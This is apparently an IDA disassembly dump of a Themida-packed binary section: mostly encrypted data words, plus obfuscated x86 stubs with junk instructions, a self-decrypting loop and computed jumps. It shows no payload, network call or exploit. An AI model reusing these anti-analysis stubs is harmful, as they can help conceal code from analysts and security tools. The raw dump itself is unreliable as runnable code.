		dd 746E2E81h, 2E6C6C64h, 6C6C64h, 0B2BD1467h, 0FEB98003h
		dd 4 dup(0)
		dd 708E900h, 36680000h,	0E9080089h, 0FFF9F720h,	8A0668h
		dd 0F716E908h, 0BB68FFF9h, 0E908008Ah, 0FFF9F70Ch, 8B7768h
		dd 0F702E908h, 6368FFF9h, 0E908008Ch, 0FFF9F6F8h, 8D3268h
		dd 0F6EEE908h, 6AACFFF9h, 0C151FE34h, 1BFAA7DDh, 6FA04D83h
		dd 0C54CF92Fh, 0BA6FA3D9h, 285E40D1h, 0CF05997Bh, 7AB0EE22h
		dd 225846CDh, 7CDFFB53h, 0AA07E70Bh, 1D6D8D44h,	6000000h
		dd 0A7326CA7h, 8191D142h, 0C469921Dh, 9AC34E50h, 2087FB31h
		dd 0EAFFE683h, 8B427826h, 3ACA96F3h, 0E084E81Eh, 0B061F607h
		dd 0D13A63EEh, 7F741741h, 0CE3A7AB7h, 0F0459528h, 0C6EF7A24h
		dd 0FD8ABA4Ch, 0BE648110h, 0E179E34Ah, 0B26CED07h, 0F8A9B9E3h
		dd 715B1DECh, 60C3FBCBh, 7A61406Fh, 0F2000002h,	1FF992BCh
		dd 0D2F27E3Ch, 9842532Ch, 0C0DE33F1h, 0A9ABC757h, 0D07E0F1h
		dd 9D1377B4h, 31CC0F99h, 5C780858h, 0CBB54D26h,	0EF739F34h
		dd 0CAF37E20h, 44ADD661h, 3BE9A0B9h, 163FCAD4h,	4B076A86h
		dd 0D42DC415h, 8986DB6Bh, 0FB643AD9h, 58E3BB56h, 0D5F1892Fh
		dd 0CC12EF4Bh, 5338ED57h, 6BA7177Bh, 4487202h, 0FA934737h
		dd 54A941E7h, 0F4FDFBFh, 0F450B3CFh, 1D76C3B9h,	0B9F44EB1h
		dd 9E0010C3h, 5EC1DD5Dh, 84C3B9F4h, 0DE1CC22Bh,	0FEBCE231h
		dd 5A4DB6ABh, 0E5D271ACh, 0DD000004h, 822F6539h, 2BD80E90h
		dd 0D17EB4EAh, 7D2A603Eh, 0A0D40A94h, 910D04EBh, 3866AE5Bh
		dd 0E3BB5502h, 8B1300ADh, 122E8655h, 7E70CAFh, 0A7B86FD5h
		dd 4DA2326Ch, 247A9BC7h, 94F630BBh, 0CC32D7E7h,	0E4771D86h
		dd 12A2BECBh, 0BE4955BDh, 3B57EF95h, 7E0E369h, 6ED1ED6Dh
		dd 9407E0E2h, 0C39CD23Bh, 0DF8108B2h, 841AFA4Fh, 922AD0F9h
		dd 0DAE87476h, 0CC09620Fh, 84959C68h, 89D7B298h, 64A7DDF9h
		dd 5AB3A07Eh, 66D3B6CFh, 4E63E74Ah, 24B40D9Fh, 4E64A508h
		dd 972CB9Fh, 7D35D79h, 76CFA74Ch, 4A66A6E6h, 9880C4E7h
		dd 610EB40Dh, 75CECB2h,	0DF08930Bh, 0E63FB39h, 0EAB46101h
		dd 27CD365Fh, 4705997Ah, 1048518h, 1511B0EBh, 0AD000004h
		dd 52FF3569h, 0FBA8DEC0h, 0A14E841Ah, 4DFA306Eh, 70A4DAC4h
		dd 613DD4BBh, 8967E2Bh,	0B3EB25D2h, 5B43D07Dh, 0E2FE5625h
		dd 7E70D7Fh, 0A7883FA5h, 8D10216Ch, 0DB009853h,	0AB25FBD1h
		dd 0C754121h, 3F216881h, 56E193AFh, 61B607E1h, 0C64AEFAFh
		dd 7E244DD8h, 537ECB35h, 0ADAD59C1h, 21760E44h,	0A708AEF0h
		dd 0AEEE7EE2h, 0E0A62F92h, 6CFC5507h, 0E0A5ED50h, 14BA1307h
		dd 0E0FC3C7Ch, 7E0A67Dh, 3FCAD43Fh, 0D67CD516h,	0E12D9C62h
		dd 0E171CA0Fh, 0E117878Ch, 34BFDF34h, 1E808FE4h, 0EE721778h
		dd 4C88425Eh, 55E17DBh,	9E470E47h, 7A6E191h, 360h, 0B4EAB462h
		dd 5D930B07h, 33965B0h,	0AFE5B956h, 598F0F02h, 8A877025h
		dd 0E331DE14h, 38D885BBh, 90833066h, 0B109D80Eh, 0E70D3295h
		dd 43FA6007h, 0A7326CA7h, 0D565FB8Eh, 0CDD14095h, 0FF731942h
		dd 7E083BDh, 96C050A9h,	2434DFF1h, 42D37804h, 9178B65Ch
		dd 1B0h, 0C56F7B2Ah, 0F65975C4h, 1CFFE682h, 9BC758B2h
		dd 93FC96A8h, 0CF459A2Ah, 751B44CFh, 96BFC1DDh,	0CA2307E0h
		dd 8602298Dh, 0F198FD1Dh, 0F1C3DF6Fh, 0F5FAA79Fh, 91F8119Ch
		dd 99233FCFh, 0DFD2103h, 44CF24B4h, 6E8ACA5Ah, 0F2A8020Bh
		dd 336BA439h, 70167FA8h, 108E8532h, 5FB87952h, 8A7E26Bh
		dd 2A4h, 70A6F81Eh, 194F4FC3h, 0BFF5A96Ch, 6BA1FD12h, 154B53BEh
		dd 0CE432CE1h, 27ED9AD0h, 7C944177h, 0D43FEC22h, 6DC594CAh
		dd 0E70DEE51h, 0F7AE1407h, 0A7326CA7h, 0E829FB8Eh, 0A1BD4DB6h
		dd 7E0A0CFh, 0AC447AD3h, 3EE3BB57h, 133CC7D7h, 0DD87946Dh
		dd 0E718DACh, 3407E0A0h, 0B7D361DBh, 207DCC16h,	90B27B7h
		dd 5E0FDB7Eh, 0A4616134h, 0E48A2D36h, 72B2429Bh, 0E725F356h
		dd 888C21FFh, 0C207AD16h, 0C90EDE5Eh, 5D79B98Eh, 8EC7CDFAh
		dd 0CE5ABDD9h, 2F888EC7h, 8EEF95EEh, 80D565FBh,	58810C92h
		dd 9A405EB3h, 0A76DC202h, 0DFBF52F7h, 0EEF3C539h, 0C61F96C1h
		dd 0F967223Bh, 684A3F69h, 470BF38Dh, 63ED09A1h,	3090FFA9h
		dd 0A471D4F0h, 469F8ECCh, 0A42F6FA1h, 338CD57Bh, 0D9C54EA3h
		dd 811DF6A3h, 78E606C3h, 6F0E4917h, 1B8h, 5C920C0Ah, 53B63AFh
		dd 0ABE1BD58h, 578D11FEh, 13767AAh, 0E22F18CDh,	3BD986BCh
		dd 90802D63h, 0E82BD80Eh, 59B180B6h, 0E70FDA3Dh, 0EBA20807h
		dd 0C67F92BCh, 1B1BC7C2h, 534BC875h, 86DAAFC8h,	0B061B6F6h
		dd 953A63EEh, 6A931E80h, 319E50C4h, 6BC407E1h, 415D9D35h
		dd 7E111DEh, 4E05AB04h,	3ACA96F3h, 0E70B621Eh, 93237C07h
		dd 94F71353h, 8907E70Ah, 128D654Ah, 0CC256620h,	49A7926h
		dd 0ACF221CEh, 0DF810821h, 0A165334Fh, 0EC810FE7h, 0C2EB7628h
		dd 9A8A5748h, 0DD467BF2h, 6A31234Dh, 5ED8C649h,	21C75473h
		dd 0BFDF3489h, 5637DC89h, 0FE095AC6h, 5EE95290h, 8C1C4445h
		dd 0E0B30E70h, 1DDB3407h, 9E64E9BAh, 0E9BF5E99h, 0D9000000h
		dd 7E2B613Dh, 27D40A94h, 0CD7AB0EEh, 79265C42h,	9CD00698h
		dd 8D1100E7h, 346AAA57h, 0DFBF51FEh, 8717FCA9h,	0E2A8251h
		dd 7E710ABh, 0BCBC73D9h, 134BD092h, 58FE9FAAh, 839292F7h
		dd 61141E0Ah, 46D3219h,	85EEB05Fh, 0B307D9F5h, 0B20B07E7h
		dd 4D51C227h, 0FE617DBDh, 2407E6B1h, 0B22588A4h, 0F24B07E6h
		dd 7ADDF989h, 0A807E6B2h, 0BE6BA94Fh, 0FC533855h, 0C1666D96h
		dd 287DCD58h, 22BB6E8h,	0BE2FE85Ch, 84BD3A03h, 712DE6CAh
		dd 8858E3Bh, 9496FE53h,	3D6EE880h, 1F6580EFh, 60C550B9h
		dd 0D264EFAFh, 80BEFA9h, 17F0536Fh, 81163A03h, 5A830E90h
		dd 0A55288F1h, 29B1F6Eh, 0D971ACDEh, 36B5ABDh, 0C62F883Ah
		dd 9D78CD5Dh, 29C85B01h, 14h, 3B7BBBC2h, 0E683BC1Fh, 1791EAFFh
		dd 91726E2Fh, 883FE5C3h, 0A42F6FA7h, 3FCAD43Fh,	0DD6836DAh
		dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch,	0E9742AEBh
		dd 85108E84h, 0E0895052h, 405h,	4BF5700h, 29000000h, 4875FF8h
		dd 0E3685C24h, 8900001Fh, 2E68241Ch, 89000044h,	0BA52243Ch
		dd 2A4E4CF8h, 8108E2C1h, 6516DBF2h, 0DEF28166h,	52202966h
		dd 8B545A5Bh, 0C481243Ch, 4, 15B85053h,	15C661Eh, 58042444h
		dd 8108478Fh, 1E15086Fh, 3C8B5C66h, 0E6895624h,	4C681h
		dd 0C6830000h, 24348704h, 241C8B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		dd 82030986h, 40B813E1h, 308008Eh, 0F9E0FFC5h, 0C2ECB9Eh
		dd 0A950C488h, 5F62BC74h, 313E22CBh, 0A0BE5C7h,	0E51D7326h
		dd 2C6EDAF2h, 0E816CBE4h, 691666D5h, 0CA586198h, 0F374641Eh
		dd 361E55A4h, 0E81A5304h, 0Ch, 102BD665h, 524EF65Dh, 9CD725D1h
		dd 16B8C881h, 535A50D0h, 890FF960h, 0
; ---------------------------------------------------------------------------
		popa
		pop	eax
		add	edx, 7273h
		add	di, 0F03Dh
		push	1C79h
		mov	cx, 0D663h
		pop	ebx
		mov	ax, bx
; START	OF FUNCTION CHUNK FOR sub_5EC3B6


loc_5EC38A:				; CODE XREF: sub_5EC3B6+28j
		push	dword ptr [edx]
		pop	esi
		jmp	loc_5EC39E
; END OF FUNCTION CHUNK	FOR sub_5EC3B6
; ---------------------------------------------------------------------------
		dw 8558h
		dd 0AE9C601Dh, 9258AE83h
		db 0D2h, 0BBh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC3B6


loc_5EC39E:				; CODE XREF: sub_5EC3B6-29j
		sub	esi, 68CB57ADh
		jge	loc_5EC3B7
		call	near ptr sub_5EC3B6
		aam	5Eh
		retf	8722h
; END OF FUNCTION CHUNK	FOR sub_5EC3B6
; ---------------------------------------------------------------------------
		pusha
		cmpsb

; =============== S U B	R O U T	I N E =======================================



sub_5EC3B6	proc far		; CODE XREF: sub_5EC3B6-Cp

; FUNCTION CHUNK AT 0058B334 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 005EC38A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005EC39E SIZE 00000016 BYTES

		pop	edi


loc_5EC3B7:				; CODE XREF: sub_5EC3B6-12j
		sub	esi, 3827CEEEh
		push	esi
		sbb	cl, 22h
		pop	eax
		xor	esi, 5285BAF9h
		movsx	ecx, ax
		mov	[edx], esi
		mov	eax, 1AE38AF7h
		sub	edx, 4
		or	edi, 9FB2D5Eh
		sub	ebx, 1
		jnz	loc_5EC38A
		mov	di, cx
		jmp	loc_5EC3FF
; ---------------------------------------------------------------------------
		dd 3EB32F9Ch, 3	dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5EC3FF:				; CODE XREF: sub_5EC3B6+31j
		jmp	loc_5EC8CF
; ---------------------------------------------------------------------------
		push	8009103h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	800916Fh
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	80092F5h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		dw 8E88h
		dd 0E52DDA10h, 3FD683B9h, 937C295Fh, 0E928D50Bh, 964B7FB5h
		dd 43A64ADh, 0ABE1BD57h, 568C12FEh, 0FE346AA9h,	58BBD72Fh
		dd 7E07E712h, 67BC6118h, 0A350F6A8h, 4BA0306Eh,	9D30D6C8h
		dd 831BF84Dh, 7C29CFF8h, 36EFF697h, 0D1B28E32h,	0CE48BDF4h
		dd 0F760710Ch, 372960C1h, 86E98BA7h, 348D07E1h,	0C8C54FA4h
		dd 7315AEEh, 4CF25BBDh,	0B6268DB9h, 0AF3007E0h,	0C2B6EEF5h
		dd 489D406Eh, 27779AC8h, 640A739Ch, 30A83h, 33DE3300h
		dd 0AAC52844h, 92EB07E0h, 0BCCC8329h, 82FD607Ch, 0CA23FFE6h
		dd 0EB4EA25h, 14751F35h, 9EA0BC4Ch, 4407E089h, 0D13A64AFh
		dd 0F0423094h, 1880545h, 50A00D4Eh, 0CB34D4E0h,	0D75D1F3Bh
		dd 0FA3A027Fh, 4BC67BDEh, 0D650A9FDh, 72889345h, 0D720C66Fh
		dd 62CBD342h, 95CBBED7h, 46A9C505h, 33FD4C68h, 0F77F034h
		dd 0C922630Ch, 0EA6F8B23h, 0D405463Fh, 7996EB7Bh, 0CB719A25h
		dd 6935DE33h, 0D58D8633h, 70D5603Eh, 2C95FEA0h,	287016Eh
		dd 48E72263h, 2FAh, 0FC326CAAh,	0A5DBC34Fh, 4B811DF8h
		dd 0F72D719Eh, 0A1D7C74Ah, 42CFB86Dh, 9B79265Ch, 0F020CD03h
		dd 48CB78AEh, 0F9512056h, 0E7147ADDh, 8B42A807h, 3ACA96F3h
		dd 0E713661Eh, 24EB8007h, 2C81117Ah, 0D683B9E5h, 0A9D3633Bh
		dd 512F52ECh, 0F915A50Dh, 7E70696h, 2ABD63BCh, 0E70696FEh
		dd 7727EC07h, 624368B9h, 8928636Eh, 28Eh, 689E0016h, 114757BBh
		dd 0B7EDB164h, 6399050Ah, 0D435BB6h, 0D63B24D9h, 2FE592C8h
		dd 848C396Fh, 0DC37E41Ah, 65BD8CC2h, 0E713E649h, 0EFA60C07h
		dd 3ACA96F3h, 0E713661Eh, 97278007h, 41CCD242h,	8FDF7218h
		dd 0BCF9254Fh, 0FAA1A63Ch, 0E69B2B8Eh, 5A005907h, 0E69B7FE6h
		dd 0D8C64907h, 722CE84Dh, 0E09ACBE7h, 9852D338h, 74A35991h
		dd 195F740h, 0A7880000h, 62A2326Ch, 0E682E346h,	3866ADFFh
		dd 0AE4384ADh, 28CE3767h, 0BBE33095h, 623CD62Bh, 0C33580E8h
		dd 640AA1B6h, 75C4C526h, 0E69AF659h, 8E871CFFh,	0AE3EA710h
		dd 9AEF526Eh, 0BC15FFE6h, 0C8627E16h, 0DE07E0C5h, 6BD4CA49h
		dd 138B86DBh, 0ADF12388h, 0EA90F922h, 0B5C42B57h, 4DCE07E0h
		dd 0D19AC493h, 0E52B14A2h, 46D1CD43h, 3E0EB41Dh, 406EE606h
		dd 27A4h, 67BC3500h, 3D66F1ADh,	0D533697h, 9B93617Dh, 368F07E0h
		dd 9B187FABh, 0A12207E0h, 0A7A8E0E7h, 0B746406Eh, 0D7000000h
		dd 0A7326CA7h, 7A130257h, 0C6F454B1h, 0BB11AF1h, 5BEBB35Eh
		dd 0EB9CFF1Bh, 71CAFFE6h, 40D338CBh, 9B79CE5Eh,	0A94F7803h
		dd 6A86C616h, 0FFE6EB07h, 812ED42Dh, 3ED60C92h,	27F9E414h
		dd 0B1573003h, 0E72EB43Dh, 4845CEFFh, 0FD2E02EBh, 0FE50402Dh
		dd 0B3AE2AA4h, 2639902h, 2D49D987h, 7E38D57h, 459A2A83h
		dd 0EF9CD2CCh, 7DBE7C22h, 5E9E61CAh, 1088423h, 7A9C0000h
		dd 0D141EE24h, 2BEA97CDh, 7F903D73h, 0D53CE91Fh, 0AA5F93C9h
		dd 184E50C1h, 0BFF5A96Bh, 6AA0FE12h, 124856BDh,	6CCFEB43h
		dd 9A07E715h, 6AA77D34h, 5C301923h, 53BCCA68h, 0FBA3701Dh
		dd 6CA70EC5h, 0D142A732h, 2BE83DCDh, 2E8FCD73h,	5975055Bh
		dd 7E0D258h, 4095257Eh,	2397CDD1h, 7E0D2BCh, 65008D86h
		dd 0C56BA8D5h, 71C656BFh, 0B85B009Eh, 8C325BE6h, 2E70A14Eh
		dd 8804A3h, 0F39D0000h,	1E3ACA96h, 7E71362h, 4898237Ch
		dd 0DC821CF3h, 84BAE42Fh, 0D7623CD7h, 9ACDB7ABh, 4955BB3Eh
		dd 0ABB759BEh, 44CF3866h, 50F8B2EBh, 0FE1267B7h, 8618FBA0h
		dd 0AB2CD2FBh, 98060DF1h, 195EB562h, 99B79AFDh,	0DF33C83Eh
		dd 62ED56BFh, 18C12FDh,	0A88C466Fh, 4EA3336Bh, 3396B2C5h
		dd 613E99B7h, 0F30F9F08h, 3E99B790h, 79B75DB6h,	0CC5747CCh
		dd 112Dh, 0FFBBE500h, 492A42CCh, 643AD97Eh, 530AB0D9h
		dd 6FA75CBBh, 0D43FA42Fh, 36DA3FCAh, 9C78DD68h,	0FF127702h
		dd 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h,	53528510h
		dd 0BD55E389h, 4, 835DEB01h, 1C8704EBh,	92685C24h, 8900002Fh
		dd 1468243Ch, 89000015h, 0B951241Ch, 46876129h,	87EEC8BFh
		dd 8BCF314Eh, 0C483240Ch, 1C8B5404h, 4C48324h, 8904EC83h
		dd 438F243Ch, 241C8B08h, 81E38953h, 4C3h, 4C38300h, 5C241C87h
		dd 5F2434FFh, 4C481h, 69E90000h, 53FFF9EAh
		db 1Dh,	0EEh, 69h
; ---------------------------------------------------------------------------


loc_5EC8CF:				; CODE XREF: sub_5EC3B6:loc_5EC3FFj
		mov	eax, 8009422h
		add	eax, ebp
		jmp	eax
sub_5EC3B6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	0B318F87Eh
		retn	0B0Ch
; ---------------------------------------------------------------------------
		dd 32B40577h, 66528FB1h, 4D9BAF03h, 11D9C8AAh, 1FD89562h
		dd 3A11D1CEh, 762516F5h, 73D4B64Eh, 69227417h, 487C1709h
		dd 70F7D662h, 64F5F4EBh, 147F819Bh, 5FAE89A3h, 5811456h
		dd 5A1413Ah, 7C1815B2h,	4D98D0DFh, 3D36E89Eh, 6F50491Ah
		dd 95B38D8Dh, 6E90800h,	0DE000000h, 36200853h, 0D98D897Dh
		dd 0F07FA1Ch, 0C8Dh, 68C0F00h, 1000000h, 0FA2E1995h, 0D18B6607h
		dd 31AD85C7h, 6E6807FAh, 8B660000h, 0D985C7C2h,	7FA2Bh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 6674C350h, 7EE4DB81h, 9252BF66h
		dd 138B0Fh, 0EE90000h, 0CE000000h, 0E8480A62h, 93537775h
		dd 1388F3C4h, 49B5FF95h, 8907FA21h, 0FA169185h,	9995FF07h
		dd 6A07FA17h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 34AC351h, 6E950h, 0AED80000h
		dd 46D819E7h, 0FF006A5Ah, 0FA101995h, 0EBC08B07h, 9559D33Dh
		dd 756D6B1Ah, 466DE25Ah, 0BCC43E1Ah, 630E6EA6h,	7FB21A42h
		dd 54BD0B35h, 3B2DF8C1h, 922E4A38h, 0C919E658h,	927B27D6h
		dd 385FDA43h, 356E2F1Eh, 0EB061534h, 0B4B8035Fh, 14E8C579h
		dd 0CD000000h, 0C6E07EF6h, 0D5CC606h, 2188612Bh, 8D3B80E6h
		dd 89A99C51h, 0FA229195h, 820F5907h, 0
; ---------------------------------------------------------------------------
		add	ecx, 6855h
		mov	edi, [ebp+7FA1D35h]
		push	19E8h
		mov	ax, 9C37h
		pop	edx
		mov	si, 0EFB4h


loc_5ECA76:				; CODE XREF: Themida_:005ECAE0j
		push	dword ptr [ecx]
		sub	[ebp+7FA1EB1h],	ebx
		pop	ebx
		mov	edi, edx
		add	ebx, 7A56D696h
		mov	[ebp+7FA0E0Dh],	edx
		add	ebx, 52FAE0DBh
		mov	si, dx
		xor	ebx, 0BE9DE34h
		mov	edi, [ebp+7FA1895h]
		push	ebx
		pusha
		mov	ecx, [ebp+7FA0EE5h]
		mov	bx, 0E96Bh
		popa
		pop	dword ptr [ecx]
		mov	eax, 72DC2225h
		sub	ecx, 4
		movzx	esi, di
		sub	edx, 1
		jnz	loc_5ECADC
		mov	edi, [ebp+7FA0D4Dh]
		jmp	loc_5ECAF4
; ---------------------------------------------------------------------------
		push	35h
		mov	[ebp+58EDA70h],	dh
		inc	edx


loc_5ECADC:				; CODE XREF: Themida_:005ECAC2j
		mov	di, 7608h
		jmp	loc_5ECA76
; ---------------------------------------------------------------------------
		db 17h,	95h, 48h
		dd 5030FCFDh, 0C39D4F3h, 66832669h
; ---------------------------------------------------------------------------


loc_5ECAF4:				; CODE XREF: Themida_:005ECACEj
		jmp	loc_5ECB09
; ---------------------------------------------------------------------------
		db 82h,	0EBh, 11h
		dd 60h,	2 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5ECB09:				; CODE XREF: Themida_:loc_5ECAF4j
		jmp	loc_5ED062
; ---------------------------------------------------------------------------
		dw 0A274h
		dd 0F919C6FCh, 53C26FA5h, 0A768154Bh, 0FD14C1F7h, 82376BA1h
		dd 0F0267899h, 97CDD143h, 427826EAh, 0EA207E95h, 44A7C31Bh
		dd 7207E719h, 0F01F740Ch, 960809AEh, 6CA739F0h,	0CF42A732h
		dd 27EC99CFh, 8C87EC77h, 0F0228712h, 91CA23AEh,	61B308D7h
		dd 0E389B23Dh, 8BC1DD36h, 366C32DEh, 8C178789h,	26B1ED27h
		dd 0CDB16B94h, 78255B43h, 4C78039Bh, 0FFE682E6h, 0E5ECA617h
		dd 38748FADh, 0F0016A94h, 14D5C044h, 0A48D6Eh, 0A71E0000h
		dd 7BA7326Ch, 0FFE68316h, 1118D243h, 38748ED9h,	0C1996C0h
		dd 94DD405Ch, 1A0DEEh, 7DBD0000h, 527C0F53h, 0EF5BE107h
		dd 0FFE5DA8Ch, 0D9EC4F6Bh, 0C11AFFE5h, 0CA812780h, 0A8336BA7h
		dd 69192E58h, 0AE35965Ch, 88B13C62h, 46CC791Fh,	537DCD58h
		dd 0BB24B6E1h, 637F0FFCh, 0FFE6F600h, 7A27CD26h, 4F790995h
		dd 41EF60ACh, 5CEF950Ah, 2C10CA03h, 266CA7E6h, 702943AFh
		dd 0E721F154h, 5DC61FFFh, 211BEF4h, 0B0CC0C9Ch,	0FFE7224Dh
		dd 36741A73h, 0E4345E9Eh, 656F2768h, 5DF457C3h,	0C922FFE7h
		dd 6AA76C23h, 18811DF8h, 0C0DE3388h, 19A4FA1Bh,	52B74AF0h
		dd 1D8DB7C0h, 0EE760F9h, 86CCF3Bh, 419AFFE7h, 314DD8h
		dd 0EFAF6246h, 86070A5Fh, 0C50BBCC8h, 25B01952h, 4C56B9D5h
		dd 237CFFE7h, 29D614BAh, 0C429B4EAh, 9DC24D51h,	135B621Ch
		dd 0B1387552h, 82h, 0F86AA742h,	901B841Ah, 81E40040h, 0AFFFE683h
		dd 47AAC656h, 6DFFE683h, 54C16E14h, 0B390BA4Ah,	3D48F698h
		dd 0ECEAA98Bh, 147DD429h, 4982DB6Eh, 3866AB8Fh,	0FA156A02h
		dd 18DF19A4h, 0E8895BB5h, 21CE74DDh, 0BE23AEF0h, 9DC24D51h
		dd 46A9C505h, 6CFFE6E1h, 0D9643AD7h, 20A147B0h,	0E7175F66h
		dd 32B53874h, 46000000h, 0A9346AA7h, 47D2CC44h,	3908C203h
		dd 837ADDF9h, 4FA8FFE6h, 8915FCA9h, 6BA79C53h, 167CA833h
		dd 47FFE683h, 0DD151CD6h, 7B38748Eh, 1,	306EA70Ch, 0CBD340A5h
		dd 6A34DB40h, 6987ADFh,	742E5F7Bh, 17D1FACCh, 4101E48h
		dd 883B453h, 3E60B562h,	14307008h, 0FFE77DB1h, 7FE086DFh
		dd 0AAC6560Ah, 7E1944Ch, 6F2FE57Ah, 0FD167B06h,	55BE6BA1h
		dd 2D92BE49h, 1407E170h, 0DE3519D3h, 3D0630C0h,	94DA8056h
		dd 9D4A882Eh, 389D2876h, 1C38C3DBh, 0A947FD4h, 0A9F51A7Fh
		dd 0E68CF51Eh, 87DCAB65h, 628B1688h, 5E040FBCh,	0FB60EBB3h
		dd 0B31C8519h, 8490E57Dh, 8E74D7F3h, 49A207E0h,	326A3AE0h
		dd 0D0406E9Ah, 14Ch, 25EB4080h,	82AA0D79h, 43D807E0h, 1E47D2CCh
		dd 0F3580FB5h, 18868E96h, 46CA1FAFh, 1EA9F51Ch,	0D8018CF5h
		dd 287E9A32h, 3607E0B8h, 9B234DDDh, 0D283DE26h,	399E31D7h
		dd 0F68EC4DAh, 0CB379AB6h, 16F907E0h, 48EE4788h, 9B26789Bh
		dd 36C1DD36h, 0D15C42D1h, 0CB026581h, 0D73007E0h, 33BEE032h
		dd 842CE617h, 898BE028h, 0BB618A15h, 779C803Ah,	0E921F127h
		dd 87406ED6h, 2Eh, 0C69AF318h, 83971A36h, 0E43D7FE6h, 5DB40959h
		dd 0E78DB641h, 0E6821073h, 2BCE57Fh, 0AD3D236Ah, 0E6820E91h
		dd 255BB4FFh, 0A33Eh, 92BCD700h, 3C2867Fh, 50B157D7h, 42972739h
		dd 932BD1CDh, 0E0E70D77h, 204A8A07h, 0A8A10F5Eh, 2D90FC8Ch
		dd 5307E086h, 9C5C6E9h,	58C17C6Dh, 851069B2h, 75ABF320h
		dd 0C3534BC8h, 6EF9A56Eh, 0E00C9F45h, 7E17678h,	4C30EA2Bh
		dd 9A1D7C7h, 0B23D61B4h, 8BB34878h, 0F861550Dh,	0C898F152h
		dd 0E56D1C38h, 126B0FE1h, 0ADF12287h, 0FB509022h, 0D6FF8A14h
		dd 26F5AF30h, 0E067CAE6h, 0E8290FE0h, 0C1022BB6h, 2861C268h
		dd 0DD8CA838h, 0AC17E176h, 4DED506Ch, 0BA1307E1h, 0D7A09440h
		dd 3CE2508Eh, 0AD649AF3h, 3ACA96F3h, 0E71A6F1Eh, 93F41E07h
		dd 0D9A5D66Ah, 0D353B6D2h, 288107E6h, 77D019BFh, 128C87ECh
		dd 7EE42FDCh, 557E0995h, 0D13A64B0h, 4B8F1A46h,	5FB16FF8h
		dd 4864B43Fh, 5FF7A9E5h, 80DB20Bh, 79B20B96h, 457E17BFh
		dd 326CA78Bh, 0DAC44FFCh, 0A3BFFF4Fh, 5FF7AA40h, 4D8E1002h
		dd 6EA14EF4h, 47E20F4h,	673BCCF8h, 0C752BB58h, 62EDB162h
		dd 446017FDh, 5FF850E1h, 0C24DB60Fh, 0DB833D7Eh, 4226E009h
		dd 0EA97CDD1h, 0BBE57529h, 23D89195h, 3ED177D7h, 119Fh
		dd 0C62D5700h, 0E1E609AFh, 0FC8717FEh, 0DC46AD3h, 6FA75CBBh
		dd 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh
		dd 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 68528510h,	98Eh, 89242C89h
		dd 4C581E5h, 83000000h,	2C8704EDh, 84685C24h, 89000054h
; ---------------------------------------------------------------------------
		sub	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	80096CDh
		mov	ebp, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		sub	dword ptr [esp], 165D6B09h
		pop	dword ptr [ecx+8]
		add	dword ptr [ecx+8], 165D6B09h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		dd 96A7E4F3h, 191AB31Dh
; ---------------------------------------------------------------------------
		aad	0C3h


loc_5ED062:				; CODE XREF: Themida_:loc_5ECB09j
		mov	eax, 8009BA2h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0F6h
		dd 171ED9E3h, 8117FC4Ch, 31568A9Fh, 0B452FB2Dh,	0C003CD98h
		dd 606C4115h, 19444C19h, 73196940h, 79519197h, 0BA3D64CBh
		dd 0B90C8FBEh, 2B658F9Eh, 8D44FCEFh, 9D918Dh, 55006A08h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 4732E6Dh, 0B70F600Eh, 119D8BF8h, 6107FA06h, 1DED9589h
		dd 8D8907FAh, 7FA1CD9h,	2A399589h, 85C707FAh, 7FA31ADh
		dd 5DD0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	40C35343h, 37C50BBDh, 608BD7BAh, 25BD8956h, 5E07FA2Ch
		dd 2BD58D89h, 0C76107FAh, 0FA2BD985h, 7, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0E4465F08h, 8B96C5C8h, 0FA0B4595h, 3DB5FF07h, 6A07FA24h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0EB1C356h, 0FEF50BCh, 1C8Ch, 11E800h, 0F3320000h
		dd 47ED32BEh, 0CF85D22Ch, 0F6ADE321h, 66F5DD1Eh, 0AD01EA81h
		dd 9D858B58h, 0FF07FA27h, 0FA179995h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 1C8274A3h, 4230BE01h, 6AC2BF0Fh, 1995FF00h, 8B07FA10h
		dd 445BEBC0h, 0D8BDA7D1h, 9A399A2Ah, 8B392DF6h,	8E48636h
		dd 459FEE9Bh, 47A7CBA1h, 1D651C46h, 5A168880h, 8E87E0C5h
		dd 99C87868h, 0F12EFB45h, 9387ABFDh, 2259E618h,	0C772834h
		dd 7B6012EFh, 1D77BF35h, 0B3A5D3EAh, 9C4AD622h,	1B1E0C78h
